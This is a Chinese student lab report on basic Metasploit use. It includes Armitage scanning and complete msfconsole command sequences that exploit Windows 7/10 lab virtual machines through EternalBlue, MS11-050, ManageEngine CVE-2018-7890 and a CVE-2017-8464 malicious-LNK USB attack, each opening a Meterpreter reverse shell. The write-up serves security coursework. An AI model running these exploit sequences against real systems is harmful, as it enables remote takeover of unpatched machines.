• 一、知识点总结
  • 二、攻击实例
    • 主动攻击的实践

      • ms08_067(win7)

        • payload/generic/shell_reverse_tcp(失败)
        • payload/windows/meterpreter/reverse_tcp(失败)
      • ms17_010_eternalblue(win7)
        • payload/windows/x64/meterpreter/reverse_tcp(成功)
    • 攻击浏览器的实践
        • ms11_050(win7)(成功)

      ms14_064(win7)  

        • exploit/windows/browser/ms14_064_ole_code_execution (失败)
    • 攻击客户端的实践
      • ManageEngine Applications Manager 13.5远程代码执行漏洞 (CVE-2018-7890)

        • manageengine_appmanager_exec (成功且唯一)
    • 成功应用任何一个辅助模块
      • usb fileforma (成功)
  • 三、实验总结
一、知识点总结

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六种模块

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去

    • 主动渗透攻击:攻击某个系统服务
    • 被动渗透攻击:攻击某个客户端应用
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码

    • 网络服务的扫描与查点
    • 探查敏感信息泄露、Fuzz测试发掘漏洞
    • 收集登录密码
  • 空字段模块Nop Modules

    • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
    • 由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
  • 编码模块Encoders后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行

    • 改变payload形状,使得不出现特定字符
    • 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
  • 查看六种模块源码目录/usr/share/metasploit-framework/modules

3.MSF的三种用户操作界面

 

  • msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
      • 查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
  • armitagewebgui

    • 启动服务器service postgresql start

    • 启动armitagearmitage

二、攻击实例

没实现ms08_067

靶机:Microsoft Windows 7

payload : generic/shell_reverse_tcp

实验步骤

通过菜单栏图标直接打开Armitag

根据已知信息推导出目标主机所在网段的IP,扫描目标网段完整信息,确认目标网络拓扑结构以实施网络侦查。依次选择Hosts->Nmap Scan->Quick Scan(OS detect)

虚拟机所在网段位192.168.80.0/24

Win10虚拟机IP信息

扫描后得到网段中4个虚拟机包括主机

选中靶机192.168.80.137,右键选择Services,查看靶机上开启的服务:

选中靶机192.168.80.137,右键选择Scan,Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步确定攻击方法提供参考依据

可见类似前几次实验在Metasploit中手动配置主机号、端口号等设置现在统统直接自动化了!

利用上一步中漏洞扫描得到的漏洞信息,自动搜索Metasploit攻击模块库,寻找合适的攻击模块。选中靶机192.168.80.137,依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索寻找合适的攻击模块:

在利用Armitage完成对靶机的攻击模块自动化搜索以后,选中192.168.80.137机右键可以发现多了Attack菜单。依次选择Attack->smb->ms08_067_netapi菜单,选择smb漏洞下的ms08_067漏洞对WIN7靶机进行攻击(也可以在Armitage左侧树型目录下依次选择exploit->windows->smb->ms08_067_netapi找到该漏洞):

launch一下,不行!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

为啥???然后我去看了一下适用系统,没有win7我哭了,我之前在做啥子?

 实现MS17_010_eternalblue

靶机:Microsoft Windows 7

payload :windows/meterpreter/reverse_tcp

实验步骤

依然铁头娃,这次手动配置(肯定是能成功的)

 use auxiliary/scanner/smb/smb_ms17_010
set RHOST 192.168.80.141
Run
Back
search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.80.141
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
run

实现ms11_050

靶机:Microsoft Windows 7 + IE8

payload : windows/meterpreter/reverse_tcp

实验步骤

 search ms11_050
use exploit/windows/browser/ms11_050_mshtml_cobjectelement
set srvhost 192.168.80.130
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
show targets
set target
Run
http://192.168.80.130:8080/zrCOkaFC

实现CVE-2018-7890

靶机:Windows 10

实现这一攻击需要ManageEngine Applications Manager 13.5,网上有相关警报书

网络上通用版本为13.5(试用版30天),实际上不怎么好用。。。只需要启动验证服务,但也不是每次都能成功地 (我也试了半天才成功,成功之后电脑蓝屏我还没快照 o(╥﹏╥)o)

 use exploit/windows/http/manageengine_appmanager_exec
show options
set RHOST 192.168.80.136
Set RPORT
set LHOST 192.168.80.130
set payload windows/meterpreter/reverse_tcp
exploit

虽然显示的是13版本,但安装的时候显示的13.5安装.......我也不知道怎么回事可能不显示之后的版本号吧

实现CVE-2017-8464

攻击靶机:Win7

 use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
exploit
cp -r /root/.msf4/local/ /media/root/KINGSTON
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST 192.168.80.130
Exploit

这里要注意系统要开启U盘自动播放,如果没开启双击第一个文件就行

实验感想

做攻击之前,要看看攻击对当前版本是否可行,避免出现铁头娃现象。对于不同的攻击,可能有一次不行之后就成功的现象,要多次尝试分析其中的原因才能进行判断。由于我的实验中基本使用win7和win10,所以大部分早起漏洞都修补了,找新漏洞就有些困难,尤其是win10找了半天才试出来一个,幸好那个漏洞软件公司没有修补,要不再找一个唯一还会花很长时间。

20164305 徐广皓 Exp5 MSF基础应用的更多相关文章

  1. 20164305 徐广皓 Exp2 后门原理与实践

    实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件, ...

  2. 20164305 徐广皓 Exp3 免杀原理与实践

    免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用msf编码器生 ...

  3. 20164305徐广皓 - Exp1 PC平台逆向破解(5)M

    1.逆向及Bof基础实践说明        1.1实践目标 实践对象:pwn1的linux可执行文件 实践目的:使程序执行另一个代码(ShellCode) 实践内容: 手工修改可执行文件,改变程序执行 ...

  4. 20164305 徐广皓 Exp4 恶意代码分析

    实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工具尽量使用原生指令或sysinternals,systr ...

  5. 20164305 徐广皓 Exp6 信息搜集与漏洞扫描

    信息搜集技术与隐私保护 间接收集 无物理连接,不访问目标,使用第三方信息源 使用whois/DNS获取ip 使用msf中的辅助模块进行信息收集,具体指令可以在auxiliary/gather中进行查询 ...

  6. 20164305 徐广皓 Exp1+ 逆向进阶

    实验内容 Task1 (5-10分) 自己编写一个64位shellcode.参考shellcode指导. 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1.使用自己编写的shell ...

  7. 2017-2018-2 20155314《网络对抗技术》Exp5 MSF基础应用

    2017-2018-2 20155314<网络对抗技术>Exp5 MSF基础应用 目录 实验内容 实验环境 基础问题回答 预备知识 实验步骤--基于Armitage的MSF自动化漏洞攻击实 ...

  8. 2018-2019 20165232 Exp5 MSF基础应用

    2018-2019 20165232 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个 ...

  9. 2018-2019 20165237网络对抗 Exp5 MSF基础应用

    2018-2019 20165237网络对抗 Exp5 MSF基础应用 实验目标 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如 ...

随机推荐

  1. ztree 获取子节点所有父节点的name的拼接

    ztree 获取子节点所有父节点的name的拼接 //获取子节点,所有父节点的name的拼接字符串function getFilePath(treeObj){if(treeObj==null)retu ...

  2. Carthage下没有Build文件夹

    问题描述: 用Carthage管理项目时,执行Carthage upate --platform iOS后发现Carthage目录下没有Build文件夹 解决方案: 在Xcode > Prefe ...

  3. C语言之各个位数上的数值之和

    #include<stdio.h> #include<stdlib.h> void main() { int num; ; int x,y; printf("请输入一 ...

  4. Python selenium —— 一定要会用selenium的等待,三种等待方式解读

    发现太多人不会用等待了,博主今天实在是忍不住要给大家讲讲等待的必要性. 很多人在群里问,这个下拉框定位不到.那个弹出框定位不到…各种定位不到,其实大多数情况下就是两种问题:1 有frame,2 没有加 ...

  5. Oracle计算两天两个日期间相差的天数

    Oracle计算两天两个日期间相差的天数: select to_date('19930411','yyyymmdd')-to_date('19890507','yyyymmdd') from dual ...

  6. MCMC算法解析

    MCMC算法的核心思想是我们已知一个概率密度函数,需要从这个概率分布中采样,来分析这个分布的一些统计特性,然而这个这个函数非常之复杂,怎么去采样?这时,就可以借助MCMC的思想. 它与变分自编码不同在 ...

  7. C语言博客作业04--数组

    1.本章学习总结 1.1 思维导图 1.2 本章学习体会及代码量学习体会 1.2.1 学习体会 关于数组,数组是最基本的构造类型,它是一组相同类型数据的有序组合.数组中的元素在内存中连续存放,每个元素 ...

  8. javaWeb2之Jsp

    Java Server Page 放在除WEB-INF(放web项目的隐私文件)外的其他任何目录中. Java服务器端网页,实现在HTML页面编写Java代码实现动态内容,一种简化Servlet编写的 ...

  9. Q_UNUSED 的使用

    在构建比较大型的工程的时候,若继承,重构虚函数,写数据model等等比较多的时候,会给出大量的  “未引用的形参” ,“warning: unused parameter ” 的告警.这种告警多了会影 ...

  10. logback日志模板

    logback.xml <?xml version="1.0" encoding="UTF-8"?> <configuration> & ...